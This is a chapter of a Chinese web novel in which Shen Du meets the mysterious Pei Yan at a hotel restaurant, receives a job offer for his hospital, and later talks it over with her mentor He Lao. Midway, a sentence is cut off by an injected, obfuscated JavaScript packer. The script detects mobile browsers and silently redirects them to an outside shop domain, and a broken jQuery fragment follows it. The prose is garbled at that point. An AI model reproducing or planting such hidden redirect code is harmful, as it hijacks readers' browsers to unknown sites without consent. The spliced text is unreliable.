沈渡提前到了鼎盛大酒店，不是因为她想早到，是因为公交比预想的快。她站在酒店门口，抬头看了一眼，楼很高，玻璃幕墙反射着冬日的阳光，刺得她眯了一下眼。门童穿着深蓝色的大衣，戴着白手套，替她拉开那扇沉重的玻璃门。她走进去，大堂的地板是大理石的，亮得能照出人影，水晶吊灯从三楼垂下来，像一座倒悬的冰山。她下意识地摸了摸口袋里的那本《家庭中医保健手册》，不是同一本，是她在社区随手拿的，想在路上看。纸张很滑，封面是铜版纸，边角有点锋利。
前台的工作人员问她有预定吗，她说了裴衍的名字。对方听到这个名字的时候，腰不自觉地挺直了一些、语气也变得更恭敬了：“裴总在顶楼，我带您上去。”沈渡跟着走进电梯，电梯壁是镜面的，映出她自己的脸——黑色羽绒服，头发随便扎着，没有化妆。她看起来不像来赴约的，像来送外卖的。
顶楼是景观餐厅，落地窗外能看到整座城市的天际线。傍晚的光线把远处的高楼镀上一层淡金色，像一幅刚上完色的油画。她被安排在一个靠窗的位置坐下，面前放了一杯温水，杯沿上插着一片柠檬。她没有喝，把双手放在膝盖上，手指交握在一起。她在想，这个裴衍到底是什么人，为什么要见她。那张纸条上只写了一个字——“裴”，没有名字，没有身份，没有来意。她来，是因为她想知道。不是因为好奇，是因为不安。有人在暗处观察你，最好的办法是走到亮处，让他出来。
她等了大概十分钟。裴衍来的时候，没有从电梯里过来，是从楼梯间走出来的。他穿着一件深灰色的羊绒大衣，没系扣子，里面是深蓝色的毛衣。身材偏瘦，肩膀很宽，走路的步子不快，但每一步都很稳。他的头发花白，不是全白，是黑发里夹杂着银丝，像是被时间慢慢漂白的。他的脸比她想象的要温和，眼角有很深的纹路，嘴角微微上扬，看起来像是在微笑。但沈渡说不准，那个笑是真实的，还是像酒店的灯光一样被精心布置过的。
“沈渡小姐，久仰。”他的声音不大，语速不快，每一个字都像被仔细称量过。他拉开椅子坐下，端起桌上的水杯喝了一口。
沈渡看着他的脸，试图从上面找到一些信息——为什么找我？你怎么知道我的？你想要什么？但这些话堵在喉咙里，她没有问出口。不是不想问，是她忽然意识到，如果她问得太急，就会显得她慌。她不想慌。
“裴先生，你说有事找我？”
裴衍没有直接回答。他招了招手，服务员走过来，递上菜单。他接过菜单，放到沈渡面前。“先吃饭，边吃边说。你赶时间吗？”沈渡看着菜单，硬皮，金边，上面印着法文。她的目光在上面扫了一遍，没有打开。“不赶。但我不是来吃饭的。”
裴衍笑了一下。那个笑很轻，像一个人确认了一个不那么重要的猜想。“我听说了你在社区做义诊的事。”沈渡的手指微微收紧。“听谁说的？”“你的病人。你的口碑很好，他们觉得你是神医。”沈渡的手指松开了。不是神医，她只是把脉比别人准一点。但她的准不是天生的，是贺老教的，是那本《濒湖脉学》给的，是她在自己身上扎过的每一针攒下来的。
“裴先生，你不是来找我看病的。”
裴衍没有否认。他端起水杯又喝了一口，放下。“你觉得我是来做什么的？”沈渡看着他，她的目光从他的脸上滑到他的手。他的手指很长，指甲修得很整齐，没有烟渍，没有老茧。不是体力劳动者的手，也不是普通文员的手。是握笔的手，也可能是握刀的手。
“我不知道。所以我来的。”
裴衍看着她，看了一阵，然后说了一句让她意外的话：“你像一个人。”沈渡等着他说“像谁”。他没有说。他只是靠在椅背上，目光从她的脸上移开，落在窗外的天际线上。夕阳已经沉下去了一半，天边的云被染成了橘红色。那个颜色照在他脸上，让他看起来不那么冷了。
“沈渡小姐，你以后想当医生吗？”沈渡犹豫了片刻。“想。”“考执照了吗？”“没有。”“为什么？”沈渡不知道该怎么回答这个问题。不是因为难度，是因为她没有资格。本科学的是财务，不是医科。她要考执照，需要先有相关的学历，或者有足够的工作年限。她的路比别人长，她一直在走，但还没有走到。
“我会考的。”她说。
裴衍点了点头。“考上了，来我的医院工作。我给你平台。”沈渡愣了一下。她想过很多种可能——警告她不要多管闲事，收买她让他的人插队看病，甚至威胁她不要碰某些病人。她没有想过他会说“来我的医院工作”。
“裴先生，你了解我吗？”
“我了解。”
“那你知道我没有执照。”
“我知道。你可以先做技师，跟着学。等考上了，转医生。不着急。”沈渡低下头，看着自己放在膝盖上的手。她的手很凉，不是因为冷，是因为紧张。她不知道该怎么接这句话。她以为是陷阱，但陷阱不是这样挖的。陷阱是让你掉进去，不是给你搭一座桥。
“我不认识你。”她抬起头，看着裴衍。“你也不认识我。你为什么帮我？”
裴衍没有回答这个问题。他站起来，从大衣口袋里拿出一张名片，放在桌上。“你不需要现在回答。想好了，打电话给我。”然后他走了。羊绒大衣的下摆在她余光里晃了一下，消失在楼梯间的门后面。
沈渡坐在那里，看着那张名片。黑色底，烫金的字——“鼎盛集团，裴衍。”她把名片翻过来，背面什么都没有。她不知道这个人为什么帮她，不知道他说的“你像一个人”是谁，不知道他的医院是什么样的。她只知道他有一双干净的手，很稳的步态，和一双她看不透的眼睛。她看不透，是因为她看人的本事还不够。贺老说过，把脉需要经验，看人也是。她看过的脉比看过的脸多，她需要时间。
沈渡把名片放进口袋，站起来，走出酒店。风比来时大了，吹得她头发糊了一脸。她把头发别到耳后，拉好羽绒服的拉链，走进风里。脑子里很乱。不是害怕，是困惑。她以为今天会有一个答案
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621439|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，但今天只收到了一个问题——“你想好了，打电话给我。”她没有想过要给他打电话，她甚至没有想过要认识他。但他先认识了她，在她的病人那里，在她的义诊摊前，在那些她不知道的角落里。她被人看见了。不知道是好事，还是坏事。
她没有直接回家，她去了贺老那里。贺老在院子里收茶叶，看到她进来，把竹匾端到廊下，拍了拍手上的灰。“见过了？”“见过了。”沈渡把那张名片从口袋里拿出来，放在竹桌上。贺老看了一眼，没有拿起来。
“他跟你说了什么？”
“让我去他的医院工作。先做技师，考执照。”
“你怎么回他的？”
“我没回。我说我不认识他。”
贺老坐下来，端起茶杯又放下。“那你现在认识了吗？”沈渡想了想。她还是不认识。但她知道一件事——他不是来害她的。害她不需要给她倒水，不需要请她吃饭，不需要说“你像一个人”。但他也不是来帮她的。帮她不需要查她的底细，不需要等她一个月，不需要选在顶楼的景观餐厅。
“我不知道他想干什么。”沈渡说。
贺老看着她，看了一阵，端起茶杯。“不知道就先放着。时间到了，自然就知道了。”沈渡把名片收进口袋，站起来。走到门口的时候，贺老在身后又说了一句：“沈渡，不要急着做决定。你不是棋子，你是下棋的人。”
沈渡没有回头。风从巷口灌进来，凉飕飕的。她把衣领竖起来，走了。
到家的时候天已经黑透了。沈渡开了灯，坐在书桌前，把那张名片拿出来放在桌上。黑色底，烫金字，在台灯下有点反光。她盯着那张名片看了很久，脑子里反复转着裴衍说的那句话——“你像一个人。”像谁？她没有问，他也没有说。也许不是不想说，是不能说。也许那个人不在了，也许那个人让他失望了，也许那个人就是他等了很久但一直没有等到的人。她不知道。她知道的太少了，她连自己的事都还没有完全搞明白。
“你在想什么？”那个声音问。
“在想他是谁。”
“你会打那个电话吗？”
“不知道。”
沈渡把名片夹进书里。不是刻意的，是随手一夹。等她再翻开那本书的时候，她会看到这张名片，然后她会想起来——有一个叫裴衍的人，在鼎盛大酒店的顶楼，问她要不要来他的医院工作。她不知道那时候她会不会已经做出了决定。
窗台上的绿萝断藤插在新花盆里，已经过了一周。她走过去蹲下来看，发现那片原本有点发黄的叶子，边缘泛出了一点绿意。不是水浇多了，是根扎下去了。她不知道根是什么时候扎下去的，不知道它在地下经历了什么，不知道它是不是也像她一样，在黑暗中试探了很久，才敢伸出第一根触须。根扎下去就好了。扎下去了就不怕风了。
沈渡关了灯，躺在床上。窗外的月亮比昨晚圆了一点，缺的那块变小了。她在等它变圆，也在等自己变圆。圆了不是终点，是又一段路的起点。